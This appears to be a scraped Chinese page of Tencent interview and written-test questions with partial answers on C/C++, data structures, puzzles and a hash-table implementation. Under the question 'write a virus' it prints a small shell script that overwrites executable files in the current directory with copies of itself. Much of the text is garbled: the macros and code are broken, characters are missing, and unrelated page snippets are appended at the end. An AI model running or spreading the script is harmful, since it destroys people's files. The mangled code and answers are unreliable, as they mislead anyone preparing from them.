腾讯面试题

发布 2024-04-17 04:45:11 阅读 8241

腾讯的流程是一笔和四面。前三次面试都是技术面,hr面基本不刷人。笔试成绩决定面试顺序。技术面可能要写**,做智力题目。

主要是c/c++、数据结构、操作系统等方面的基础知识。好像有sizeof、树等选择题。填空题是补充完整程序。

附加题有写算法的、编程的、数据库sql语句查询的。还有一张开放性问题。

1.请定义一个宏,比较两个数a、b的大小,不能使用大于、小于、if语句。

#define max(a,b) (abs((a)-(b))-a)-(b)))b):(a)

2.如何输出源文件的标题和目前执行行的行数。

c定义的预定义宏:

_date__ 进行预处理的日期(“mmm dd yyyy”形式的字符串文字,如may 27 2006)

_file__ 代表当前源**文件名的字符串文字 ,包含了详细路径,如g:/program/study/c+/

_line__ 代表当前源**中的行号的整数常量

_date__ 源文件编译日期。

_time__ 源文件编译时间,格式微“hh:mm:ss”,如:09:11:10;

_func__ 当前所在函数名,在编译器的较高版本中支持。

_function__ 当前所在函数名。

_stdc__ 常数1, 指示是标准兼容。

_stdc_hosted__ 如果是hosted实现,为1; 如果是。实现,为0

_std_version__ c99为199901l

int line= _line__;

char *file = file__;

cout <

与大数相乘原理一样,只是调整小数点位置,即有效小数个数。

算法提示:输入 string a, string b;计算string c=a*b; 返回 c;

1. 纪录小数点在a,b中的位置l1,l2,则需要小数点后移动位置数为l=length(a)+length(b)-l1-l2-2;

2, 去掉a,b中的小数点,(a,b小数点后移,使a,b变为整数)

3, 计算c=a*b; (要么用j**a的biginterger搞, 要么自己用c++写高精度数乘法,超过百万位,用fft,我就不细说,这都预先写过就别做了)

4, 输出c,(注意在输出倒数第l个数时,输出一个小数点。若是输出的数少于l个,就补0)

4.写一个病毒。

#shellvirus ii

for file in *

do if test -f $file ; then

if test -x $file ; then

if test -w $file ; then

if grep -s echo $file >.mmm ;then

cp $0 $file

fi; fi;

fi; fi;

done rm .mmm -f

上面这个不对,没有传染性,寄生性……

5.不使用额外空间,将 a,b两链表的元素交叉归并。

6. struct st;

sizeof(struct st); 8

char * p1;

void * p2;

int p3;

char p4[10];

sizeof(p1...p4) =4,4,4,10

5.让你在***个浮点数中找出最大的10000个,要求时间复杂度优。

最小堆。二分查找。

快速排序。双向链表的删除结点。

有a、b、c、d四个人,要在夜里过一座桥。他们通过这座桥分别需要耗时分钟。

只有一支手电,并且同时最多只能两个人一起过桥。请问,如何安排,能够在17分钟内。

这四个人都过桥?

cd ->ab 2

acd<-b 1

a->bcd 10

ab<-cd 2

>abcd 2

基础题有15道选择和2道读程序填空。选择题的确是很基础,主要考数据结构,还有一些体系结构、数据库的题目;读程序题跟我们平时考试的差不多,一道是两个升序链合并成一个升序链+递归,一道是四色着色方案。

附加题有几道没有看清楚。有一道是unix防僵死算法,最后一道是sql查询,还有几道忘了,其中一个是很长的程序题。。

15个选择题,60分。

一个程序填空,40分。

三道附加题60分。

附加题考的是。

不用第三个变量实现两个整形变量的交换。

linux的子进程。

操作系统资源抢占管理,两个进程要对文件进行独占访问,采用共享变量,判断可行否。

书写strcpy()

时间两个小时,选择题 15*4

然后是程序填空题 10 (2*5), 30 (10*3)

附加题用c++ 实现一个链地址hash。

程序填空题我就不说了,比较easy的说,值得一提的是选择题。

绝大部分考的是c++,我大致说下主要部分吧:

涉及程序执行压栈的:1道。

涉及容器和迭代器的:4道。

涉及虚拟函数以及dynamic_cast的 3道。

涉及参数传递的 1道。

简单的程序段落判断 2道。

涉及类的静态成员赋值的 1道。

剩下的是杂七杂八的。

不管怎么说,假如你把c++ primer 仔细阅读了一遍,基本上没问题。

考的有些细,没有涉及算法和编译等知识,所以我同屋一个兄弟很郁。

闷,因为他linux底层比较好,本来报的是后台开发,哪知道结果考这。

种类型的题目。

程序填空的考了文件操作,以及数组移动等。

附加题比较简单的说,只要把数据结构的hash部分好好看,然后用class

hash_#ifndef hash_table_h

#define hash_table_h

#include

using namespace std;

struct node /*定义节点*/

node():next(null){}

string _value;

node* _next;

typedef node* hash_node; /类型定义*/

const int mult = 31; /散列函数的参数*/

const int table = 10000; /数组的大小*/

class hash_table

public:

*构造函数*/

hash_table(hash_node* table);

*析构函数*/

hash_table();

*向hash_table插入元素*/

void insert(const string& word);

*从hash_table中查找元素*/

int search(const string& word);

private:

*散列函数*/

unsigned int hash(const string& word);

private:

hash_node* _table;

#endif

endhash_

#include "hash_"

#include

using namespace std;

*构造函数*/

hash_table::hash_table(hash_node* table)

table = table;

*析构函数*/

hash_table::~hash_table()

delete table;

*散列函数*/

unsigned int hash_table::hash(const string& word)

const char* p =

unsigned int h = 0;

for (;p; p++)hash_table的心脏*/

h = h*mult) %table + p) %table;

return h;

*插入函数*/

void hash_table::insert(const string& word)

*得到对应的散列值*/

int h = hash(word);

*对应节点为空,插入本节点*/

if (_table[h] =null)

hash_node n = new node();

n->_value = word;

n->_next = null;

table[h] =n;

return ;

*如果节点不为空,连结在本节点为头节点的链表*/

for (hash_node p = table[h];p !=null;p = p->_next)

*包含相同的值,直接返回*/

if (p->_value ==word) return ;

*发生冲突,处理冲突*/

hash_node n = new node();

n->_value = word;

n->_next = table[h];

table[h] =n;

*查询函数*/

int hash_table::search(const string& word)

*得到对应的散列值*/

int h = hash(word);

*如果对应的节点为空,直接返回*/

if (_table[h] =null)

return -1;

腾讯面试题

sizeof struct st char p1 void p2 int p3 char p4 10 sizeof p1.p4 5.让你在 个浮点数中找出最大的10000个,要求时间复杂度优。最小堆。二分查找。快速排序。双向链表的删除结点。有a b c d四个人,要在夜里过一座桥。他们通过这座桥分别...

腾讯面试题

1.读取整数集合a中的整数,将读到的整数插入到map中,并将对应的值设为1。2.读取整数集合b中的整数,如果该整数在map中并且值为1,则将此数加入到交集当中,并将在map中的对应值改为2。通过更改map中的值,避免了将同样的值输出两次。腾讯笔试题 找出1到10w中没有出现的两个数字。有1到10w这...

采购面试题

翰亚采购考试题目。姓名日期得分考评者。注 供100分,每题10分,完成时间60分钟,附加题20分,可选择是否做 1 采购基本工作职责有哪些?工作重点是什么?2 你为什么要选择做采购?这个职位与其他职位有什么基本区别?3 你对 商是如何砍价的?有哪些方法可以降低成本?4 最能简单概况你自己的词语是什么...